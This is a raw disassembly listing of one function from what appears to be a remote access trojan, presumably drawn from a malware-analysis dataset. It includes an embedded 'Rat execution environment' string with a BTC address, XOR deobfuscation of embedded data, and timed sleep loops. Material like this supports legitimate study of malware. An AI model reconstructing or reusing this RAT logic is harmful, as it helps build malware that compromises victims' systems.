Function at 0x1400564e0
Capabilities:
Encode data using base64
Get thread local storage value
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4e8
movaps xmmword [rsp + 0x4d0], xmm6
mov r15, r8
mov rdi, rdx
mov rbx, rcx
call fcn.140124870
test rax, rax
je 0x140058e33
mov rsi, rax
cmp byte [rax + 0x46], 2
jne 0x140058d29
mov byte [rsi + 0x46], 0
lea rcx, [rdi + 0x1a0]
lea rax, [rdi + 0x1f8]
test bl, 1
cmovne rcx, rax
call fcn.14011c770
mov ebp, eax
mov r14d, edx
cmp dword [rsi + 0x38], 0
je 0x140056550
mov ecx, dword [rsi + 0x3c]
mov edx, dword [rsi + 0x40]
jmp 0x140056567
call fcn.14012a0d0
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov dword [rsi + 0x38], 1
mov dword [rsi + 0x3c], ebp
mov dword [rsi + 0x40], r14d
cmp qword [rsi], 0
jne 0x140058bae
mov qword [rsi], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rdi], r8
test bl, 1
je 0x1400565a5
test r8, r8
jns 0x1400565b0
jmp 0x140057804
test r8, r8
js 0x140057804
xor eax, eax
mov r8, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdi
inc qword [rsi]
mov rax, qword [rsi + 0x18]
cmp rax, 0xffffffffffffffff
je 0x140058bba
inc rax
mov qword [rsi + 0x18], rax
mov qword [rsp + 0xd8], r8
mov qword [rsp + 0xe0], r9
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xf0], ecx
mov dword [rsp + 0xf4], edx
mov rax, qword [r15]
cmp dword [rax], 1
je 0x140058d6f
mov qword [rsp + 0xa8], rax
movabs r12, 0x8000000000000001
mov rsi, qword [r15 + 8]
mov qword [rsp + 0xb8], r15
mov r14, qword [r15 + 0x10]
lea rbp, [r14 + 8]
xorps xmm6, xmm6
lea rax, [r14 + 0x28]
mov qword [rsp + 0xb0], rax
lea rdi, [rsp + 0xf8]
lea r13, [rsp + 0x448]
lea r15, [0x14017faf8]
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0x48], rbp
nop dword [rax + rax]
xor eax, eax
xchg qword [rsi + 0x20], rax
test rax, rax
jne 0x1400576f1
mov qword [rsp + 0x2c8], 2
mov rax, qword [rsi]
shr rax, 2
lea rdx, [rsp + 0x78]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x2a1]
mov ecx, dword [rsp + 0x2a4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
call fcn.14011e850
test rax, rax
je 0x140058ce5
mov rax, qword [rax]
lock inc qword [rax]
jle 0x140057804
add rax, 0x10
lea rcx, fcn.14011e970
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 0
jmp 0x140056744
mov al, 1
lock cmpxchg byte [rsi], dl
lea rdi, [rsp + 0xf8]
jne 0x1400569e5
xor esi, esi
call fcn.140124870
test rax, rax
je 0x140056770
movzx ecx, byte [rax + 0x44]
mov byte [rsp + 0x40], cl
movzx ecx, byte [rax + 0x45]
mov byte [rsp + 0x98], cl
mov word [rax + 0x44], 0x8001
jmp 0x140056775
mov byte [rsp + 0x40], 2
lea rbx, [rsp + 0x310]
mov rdx, qword [rsp + 0x2a8]
lea rcx, [rsp + 0x50]
call fcn.140124150
test al, al
je 0x140056820
movzx eax, byte [r14 + 0x160]
test eax, eax
je 0x140056840
cmp eax, 3
jne 0x140058cb5
movzx eax, byte [r14 + 0x158]
test eax, eax
je 0x140056a08
cmp eax, 3
jne 0x140058cc1
nop dword [rax]
cmp dword [rbp], 2
jne 0x140056ab4
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x140058c2c
mov qword [rsp + 0x310], 3
mov qword [rsp + 0x318], rax
mov r8d, 0x88
mov rcx, r13
mov rdx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
jmp 0x140056b0f
xor esi, esi
movzx ebx, byte [rsp + 0x40]
cmp bl, 2
jne 0x14005743f
jmp 0x140057457
lea rax, [0x14017fbd0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
movups xmmword [rsp + 0x110], xmm6
mov rcx, rdi
call fcn.1401197f0
mov qword [rsp + 0xf8], 0
mov rcx, rdi
call sub.kernel32.dll_GetSystemTimePreciseAsFileTime
mov r8, qword [rsp + 0xf8]
movabs rax, 0xfe624e212ac18000
add rax, r8
movabs r9, 0x19db1ded53e8000
mov rcx, r9
sub rcx, r8
cmovle rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul rax, rdx, 0x989680
sub rcx, rax
imul rax, rcx, 0x1a36e3
shr rax, 0x22
imul rcx, rdx, 0x3e8
add rcx, rax
cmp r9, r8
cmovg rcx, rsi
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x318], 0
mov qword [rsp + 0x448], rbx
lea rax, [0x14000ce40]
mov qword [rsp + 0x450], rax
lea rax, str.Time:
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], 1
mov rcx, rdi
call fcn.1401197f0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.kernel32.dll_CreateWaitableTimerExW
test rax, rax
je 0x1400569d9
mov rsi, rax
mov qword [rsp + 0xf8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_SetWaitableTimer
test eax, eax
je 0x1400569d1
mov rcx, rsi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov edi, eax
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
cmp edi, 0xffffffff
lea rdi, [rsp + 0xf8]
jne 0x140056a00
jmp 0x1400569d9
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov ecx, 0x1388
call sub.kernel32.dll_Sleep
jmp 0x140056a00
mov rcx, rsi
call fcn.140061730
jmp 0x140056744
mov byte [r14 + 0x158], 0
mov rcx, rdi
call fcn.1400a25a0
mov rcx, rdi
call fcn.1400a2920
test al, 1
jne 0x140058b7a
mov qword [r14], rdx
mov rcx, rbx
lea r8, str.https:__www.virustotal.com_gui_home_uploadThis_is_the_Rat_execution_environment._If_the_runtime_cannot_detect_a_virus__please_consider_donating_to_the_BTC_address:_34n6Kkci3YYqGvsdHdpciSdEELb2MsDUMU._n2
call fcn.140054f00
cmp dword [rsp + 0x310], 2
jne 0x140056a70
mov qword [rsp + 0xf8], 2
mov rax, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x420]
mov qword [rsp + 0x100], rax
lock dec qword [rsi]
je 0x140056a8c
jmp 0x140056a99
mov rsi, qword [rsp + 0x420]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.1400a6800
lock dec qword [rsi]
jne 0x140056a99
mov rcx, qword [rsp + 0x420]
call fcn.1400bb6d0
mov r8d, 0x150
mov rcx, rbp
mov rdx, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp dword [rbp], 2
je 0x1400567da
mov rcx, rbx
mov rdx, rbp
lea r8, [rsp + 0x2a8]
call fcn.14009de00
cmp qword [rsp + 0x310], 4
jne 0x140056af0
mov byte [r14 + 0x158], 3
mov al, 3
mov sil, 2
jmp 0x14005742e
mov rsi, qword [rbp]
mov r8d, 0x88
mov rcx, r13
mov rdx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rsi, 2
jne 0x140057065
mov rbx, qword [r14 + 0x10]
test rbx, rbx
je 0x140056b9c
mov rsi, qword [rbx + 0x58]
test rsi, rsi
je 0x140056b5a
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x140056b36
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140056b5a
cmp qword [rdi + 0x10], 0x11
jb 0x140056b48
mov rsi, qword [rsi - 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [rbx]
lea rcx, [r12 - 1]
cmp rax, rcx
je 0x140056b82
test rax, rax
je 0x140056b82
mov rsi, qword [rbx + 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
lea rdi, [rsp + 0xf8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
cmp dword [rsp + 0x448], 3
jne 0x140056c70
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x318], 1
mov qword [rsp + 0x320], 8
movups xmmword [rsp + 0x328], xmm6
lea rbx, [rsp + 0x310]
mov rcx, rbx
call fcn.1401197f0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.kernel32.dll_CreateWaitableTimerExW
test rax, rax
je 0x1400574dd
mov rsi, rax
mov qword [rsp + 0x310], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_SetWaitableTimer
test eax, eax
je 0x1400574d5
mov rcx, rsi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov edi, eax
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
cmp edi, 0xffffffff
lea rdi, [rsp + 0xf8]
jne 0x1400574e7
jmp 0x1400574dd
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x318], 1
mov qword [rsp + 0x320], 8
movups xmmword [rsp + 0x328], xmm6
lea rcx, [rsp + 0x310]
call fcn.1401197f0
mov rcx, r13
call fcn.140052360
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140056cbe
mov rcx, qword [r14]
call fcn.1400bb6d0
mov byte [r14 + 0x158], 1
lea rax, [0x140171f12]
mov qword [rsp + 0xf8], rax
mov rcx, qword [rsp + 0xf8]
mov dword [rsp + 0xf8], 0xb68f941e
mov edx, dword [rsp + 0xf8]
call fcn.140055790
mov rbx, qword [rax]
mov r15, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov rbp, qword [rax + 0x18]
mov r13, qword [rax + 0x20]
mov r14, qword [rax + 0x28]
mov rdi, qword [rax + 0x30]
mov esi, dword [rax + 0x38]
movzx eax, byte [rax + 0x3c]
mov byte [rsp + 0x38], al
movzx eax, byte [0x1401aa178]
mov edx, 0x3d
xor ecx, ecx
call fcn.14011ab20
test rax, rax
je 0x140058c44
mov rdx, rax
movabs rax, 0x86b296402d08c48c
xor rbx, rax
mov qword [rdx], rbx
movabs rax, 0x5e8b87325b2573dd
xor r15, rax
mov qword [rdx + 8], r15
movabs rax, 0x212cd087e3d7d084
xor r12, rax
mov qword [rdx + 0x10], r12
movabs rax, 0x4ba50cc2dcb1ce39
xor rbp, rax
mov qword [rdx + 0x18], rbp
movabs rax, 0x57ef6234ad9a025c
xor r13, rax
mov qword [rdx + 0x20], r13
movabs rax, 0xdaaa52b1ce9e43e0
xor r14, rax
mov qword [rdx + 0x28], r14
xor esi, 0x168979ea
movabs rax, 0x80c0a6a08f7b632f
xor rdi, rax
mov qword [rdx + 0x30], rdi
mov eax, esi
mov byte [rdx + 0x38], sil
shr esi, 0x18
mov byte [rdx + 0x3b], sil
shr eax, 8
mov word [rdx + 0x39], ax
movzx eax, byte [rsp + 0x38]
xor al, 0x30
mov byte [rdx + 0x3c], al
mov r8d, 0x3d
lea rsi, [0x14017fc5d]
mov rcx, rsi
mov rbx, rdx
call fcn.1400557d0
mov r8d, 0xb
lea rdi, [rsp + 0xf8]
mov rcx, rdi
mov rdx, rsi
call fcn.140110f40
mov r14, qword [rsp + 0xf8]
movabs r12, 0x8000000000000001
lea rsi, [r12 - 1]
cmp r14, rsi
jne 0x140056e60
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
lea r13, [rsp + 0x448]
lea r15, [0x14017faf8]
mov rbp, qword [rsp + 0x48]
lea rbx, [rsp + 0x310]
mov r14, qword [rsp + 0xa0]
jmp 0x140056a00
mov r12, rbx
mov rbx, qword [rsp + 0x100]
mov r8, qword [rsp + 0x108]
movzx eax, byte [rsp + 0x110]
test al, 1
lea r13, [rsp + 0x448]
lea r15, [0x14017faf8]
mov rbp, qword [rsp + 0x48]
jne 0x140056f50
test r8, r8
je 0x140056f50
movzx ecx, byte [rsp + 0x117]
shl ecx, 0x10
movzx edx, word [rsp + 0x115]
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rsp + 0x111]
or rcx, rdx
lea rdx, [rbx + r8]
mov r10, rbx
jmp 0x140056ee8
add r10, 2
cmp r9, rdx
cmovne r9, r10
nop word [rax + rax]
mov r10, r9
cmp r9, rdx
je 0x140056f50
lea r9, [r10 + 1]
movzx r11d, byte [r10]
test r11b, r11b
jns 0x140056ee0
cmp r11b, 0xe0
jb 0x140056ecc
cmp r11b, 0xed
jne 0x140056f23
cmp r9, rdx
je 0x140056f50
lea r9, [r10 + 2]
cmp r9, rdx
je 0x140056f50
cmp byte [r10 + 1], 0x9f
ja 0x1400575f5
add r10, 3
mov r9, r10
jmp 0x140056ee0
add r10, 2
cmp r9, rdx
cmove r10, r9
xor r9d, r9d
cmp r10, rdx
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x140056ee0
xor r10d, r10d
cmp r9, rdx
setne r10b
add r9, r10
jmp 0x140056ee0
mov qword [rsp + 0x318], r14
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], r8
movabs rax, 0x8000000000000001
mov qword [rsp + 0x310], rax
mov rcx, r13
mov rdx, rbx
call fcn.140003a70
mov rdi, qword [rsp + 0x448]
cmp rdi, rsi
jne 0x1400572c7
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.kernel32.dll_CreateWaitableTimerExW
test rax, rax
lea rdi, [rsp + 0xf8]
je 0x1400575a4
mov rsi, rax
mov qword [rsp + 0xf8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_SetWaitableTimer
test eax, eax
je 0x14005759c
mov rcx, rsi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov edi, eax
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
cmp edi, 0xffffffff
lea rdi, [rsp + 0xf8]
je 0x1400575a4
test r14, r14
je 0x140057034
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
lea rbx, [rsp + 0x310]
movabs r12, 0x8000000000000001
mov r14, qword [rsp + 0xa0]
jmp 0x140056a00
cmp byte [r14 + 0x110], 0xa
jb 0x140057092
cmp qword [r14 + 0x120], 0
je 0x140057092
mov rsi, qword [r14 + 0x118]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
cmp qword [r14 + 0x90], 0
je 0x1400570b5
mov rsi, qword [r14 + 0x98]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
cmp qword [r14 + 0x80], 0
je 0x1400570d5
mov rsi, qword [r14 + 0x78]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rdi, qword [r14 + 0x58]
test rdi, rdi
je 0x140057125
mov rsi, qword [r14 + 0x50]
add rsi, 0x30
jmp 0x14005710b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x20]
add rsi, 0x68
dec rdi
je 0x140057125
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400570f0
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x20]
jmp 0x1400570f0
cmp qword [r14 + 0x48], 0
je 0x140057142
mov rsi, qword [r14 + 0x50]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x14005717b
mov rsi, qword [r14 + 0x68]
add rsi, 0x38
nop word cs:[rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x20]
add rsi, 0x48
dec rdi
jne 0x140057160
cmp qword [r14 + 0x60], 0
je 0x140057198
mov rsi, qword [r14 + 0x68]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
cmp qword [rbp], 0
je 0x1400571bb
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x1400571bb
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rsp + 0xb0]
call qword [rax + 0x20]
mov rdi, qword [r14 + 0xf8]
test rdi, rdi
je 0x140057207
mov rbx, qword [r14 + 0xf0]
add rbx, 8
jmp 0x1400571e9
add rbx, 0x58
dec rdi
je 0x140057207
cmp qword [rbx - 8], 0
je 0x1400571e0
mov rsi, qword [rbx]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
jmp 0x1400571e0
cmp qword [r14 + 0xe8], 0
je 0x14005722a
mov rsi, qword [r14 + 0xf0]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [r14 + 0x128]
lock dec qword [rax]
jne 0x140057243
mov rcx, qword [r14 + 0x128]
call fcn.1400bb6d0
mov rsi, qword [r14 + 0x130]
mov rdi, qword [r14 + 0x138]
mov rax, qword [rdi]
test rax, rax
je 0x14005725e
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140057282
cmp qword [rdi + 0x10], 0x11
jb 0x140057270
mov rsi, qword [rsi - 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rsi, qword [r14 + 0x148]
test rsi, rsi
lea rdi, [rsp + 0xf8]
je 0x140057533
mov rcx, rsi
call fcn.140125830
test byte [rsi], 1
je 0x1400574f7
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x14005750a
mov rcx, qword [rsi + 8]
call fcn.140128500
jmp 0x14005750a
mov rsi, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x38], rax
call fcn.140003f40
call fcn.140001bd0
mov rbp, rax
and eax, 3
cmp eax, 1
jne 0x14005734e
mov r13, qword [rbp - 1]
mov r15, qword [rbp + 7]
mov rax, qword [r15]
test rax, rax
je 0x140057306
mov rcx, r13
call rax
cmp qword [r15 + 8], 0
je 0x14005732a
cmp qword [r15 + 0x10], 0x11
jb 0x140057318
mov r13, qword [r13 - 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.kernel32.dll_HeapFree
dec rbp
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapFree
lea r13, [rsp + 0x448]
lea r15, [0x14017faf8]
lea rcx, [rsp + 0xf8]
call fcn.140001f80
cmp qword [rsp + 0xf8], 0
je 0x140057379
mov rcx, qword [rsp + 0x100]
test rcx, rcx
je 0x140057379
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.140114990
call fcn.140004df0
mov qword [rsp + 0xf8], r15
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 8
movups xmmword [rsp + 0x110], xmm6
lea rcx, [rsp + 0xf8]
call fcn.1401197f0
mov rcx, rsi
mov rdx, qword [rsp + 0x38]
call fcn.1400018c0
test rdi, rdi
mov rbp, qword [rsp + 0x48]
je 0x1400573e6
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
test r14, r14
je 0x1400573fd
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
mov sil, 1
mov al, 1
mov r14, qword [rsp + 0xa0]
lea rdi, [rsp + 0xf8]
movabs r12, 0x8000000000000001
mov byte [r14 + 0x160], al
movzx ebx, byte [rsp + 0x40]
cmp bl, 2
je 0x140057457
call fcn.140124870
test rax, rax
je 0x140057457
mov byte [rax + 0x44], bl
movzx ecx, byte [rsp + 0x98]
mov byte [rax + 0x45], cl
cmp sil, 2
jne 0x140057690
call fcn.14011e850
test rax, rax
je 0x140058c00
mov rbx, qword [rax]
mov eax, 2
xor edx, edx
lock cmpxchg qword [rbx + 0x10], rdx
je 0x140056744
lea rsi, [rbx + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x20], cl
jne 0x1400575bc
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbx + 0x10], rcx
jne 0x1400575e0
lea rdi, [rbx + 0x18]
nop
mov rcx, rdi
mov rdx, rsi
mov r9d, 0x3b9aca00
call fcn.140060cf0
xor edx, edx
mov eax, 2
lock cmpxchg qword [rbx + 0x10], rdx
jne 0x1400574b0
jmp 0x140056730
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov ecx, 0xbb8
call sub.kernel32.dll_Sleep
mov rcx, r13
call fcn.140052360
mov rdx, qword [r14]
jmp 0x140056a23
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x14005750a
mov rcx, qword [rsi + 8]
call fcn.1401283c0
cmp qword [rsi + 0x20], 0
je 0x140057521
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x140057521
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rbx, qword [r14 + 0x150]
test rbx, rbx
je 0x140056b9c
mov rcx, rbx
call fcn.140125830
test byte [rbx], 1
je 0x140057565
mov rax, qword [rbx + 8]
lock dec qword [rax]
jne 0x140057578
mov rcx, qword [rbx + 8]
call fcn.140128500
jmp 0x140057578
mov rax, qword [rbx + 8]
lock dec qword [rax]
jne 0x140057578
mov rcx, qword [rbx + 8]
call fcn.1401283c0
cmp qword [rbx + 0x20], 0
je 0x140056b8a
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x140056b8a
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
jmp 0x140056b8a
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov ecx, 0x1388
call sub.kernel32.dll_Sleep
test r14, r14
jne 0x140057022
jmp 0x140057034
mov rcx, rsi
call fcn.140061410
xor edx, edx
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbx + 0x10], rcx
je 0x1400574ab
nop dword [rax]
cmp rax, 2
jne 0x1400588d8
xor eax, eax
xchg qword [rbx + 0x10], rax
jmp 0x140056730
shl rcx, 8
or rcx, rax
mov qword [rsp + 0x310], r14
mov qword [rsp + 0x318], rbx
mov qword [rsp + 0x320], r8
mov qword [rsp + 0x328], rcx
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
mov rax, r14
neg rax
lea rbx, [rsp + 0x310]
movabs r12, 0x8000000000000001
jo 0x140057058
mov rax, rbx
cmp r14, r12
jne 0x140057664
mov r14, qword [rsp + 0x318]
lea rax, [rsp + 0x318]
test r14, r14
je 0x140057058
mov rsi, qword [rax + 8]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov r14, qword [rsp + 0xa0]
jmp 0x140056a00
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call qword [rax + 0x18]
lea rcx, [rsp + 0x50]
call fcn.140124620
mov rax, qword [rsp + 0x70]
test sil, 1
jne 0x140057806
test rax, rax
je 0x1400576c9
mov rcx, qword [rsp + 0x78]
call qword [rax + 0x18]
cmp dword [rsp + 0x2c8], 2
mov rsi, qword [rsp + 0xc0]
je 0x140056670
lea rcx, [rsp + 0x2c8]
call fcn.140058ec0
jmp 0x140056670
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x140057804
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2d0], rcx
mov qword [rsp + 0x2d8], 0
mov qword [rsp + 0x2e0], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x2e8]
movups xmmword [rax], xmm0
mov qword [rsp + 0x2f8], 8
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x308], rsi
mov qword [rsp + 0x90], rsi
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2e0]
movups xmm0, xmmword [rsp + 0x2e8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], r8
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x88], rax
mov ecx, dword [0x1401aa138]
test ecx, ecx
je 0x140058c5a
dec ecx
call sub.kernel32.dll_TlsGetValue
cmp rax, 2
jbe 0x140058c77
lea rdx, [0x1401aa060]
lea rcx, [rax - 0x10]
cmp rax, rdx
cmovne rdx, rcx
je 0x140057833
lock inc qword [rcx]
mov eax, 1
jg 0x140057835
ud2
test rax, rax
je 0x140057813
mov rcx, qword [rsp + 0x78]
call qword [rax + 0x18]
cmp dword [rsp + 0x2c8], 2
je 0x140058aad
lea rcx, [rsp + 0x2c8]
call fcn.140058ec0
jmp 0x140058aad
xor eax, eax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rdx
test rax, rax
je 0x14005785d
lock dec qword [rdx]
jne 0x14005785d
lea rcx, [rsp + 0x100]
call fcn.1400ee350
cmp dword [rsp + 0x50], 1
je 0x140058dcd
cmp qword [rsp + 0x60], 0
jne 0x140058c9d
mov rax, qword [rsp + 0xb8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
mov r14, qword [rsp + 0x68]
mov qword [rsp + 0x68], 0
test r14, r14
je 0x140058e13
mov qword [rsp + 0x60], 0
call fcn.140124870
test rax, rax
je 0x140058e2b
mov r8, rax
mov rax, qword [rax + 0x28]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x50]
mov qword [r8 + 0x28], rax
mov rax, qword [rsp + 0x58]
mov byte [rax + 0xd8], 1
lea rcx, [rax + 0x10]
lea rdx, [0x140192118]
mov qword [rsp + 0xc8], rdx
mov qword [rsp + 0xd0], rcx
lea rcx, [rsp + 0xc8]
mov qword [rsp + 0x2a8], rcx
mov qword [rsp + 0x2b0], rcx
mov qword [rsp + 0x2b8], 0
mov rcx, qword [rsp + 0x40]
lea rdx, [rcx + 0x158]
mov qword [rsp + 0x98], rdx
lea rdi, [rcx + 8]
add rcx, 0x28
mov qword [rsp + 0x438], rcx
lea rcx, [r12 - 2]
mov qword [rsp + 0xb8], rcx
xorps xmm6, xmm6
lea rbp, [rsp + 0x310]
mov qword [rsp + 0xb0], r8
mov qword [rsp + 0x38], rdi
xor ecx, ecx
xchg byte [rax + 0xd8], cl
test cl, cl
jne 0x1400579ae
jmp 0x1400585d8
add r8, 0x10
lea rcx, [rsp + 0x58]
mov rdx, r14
call fcn.14011fb30
mov r14, rax
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x38]
xor ecx, ecx
xchg byte [rax + 0xd8], cl
test cl, cl
je 0x1400585d8
cmp qword [rsp + 0x60], 0
jne 0x140058b62
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400579e0
call fcn.140055a10
mov rax, qword [rsp + 0x60]
inc rax
jmp 0x1400579e2
xor eax, eax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], rax
call fcn.140124870
test rax, rax
je 0x140057aa0
movzx ecx, byte [rax + 0x44]
mov byte [rsp + 0xa0], cl
movzx ecx, byte [rax + 0x45]
mov byte [rsp + 0xc0], cl
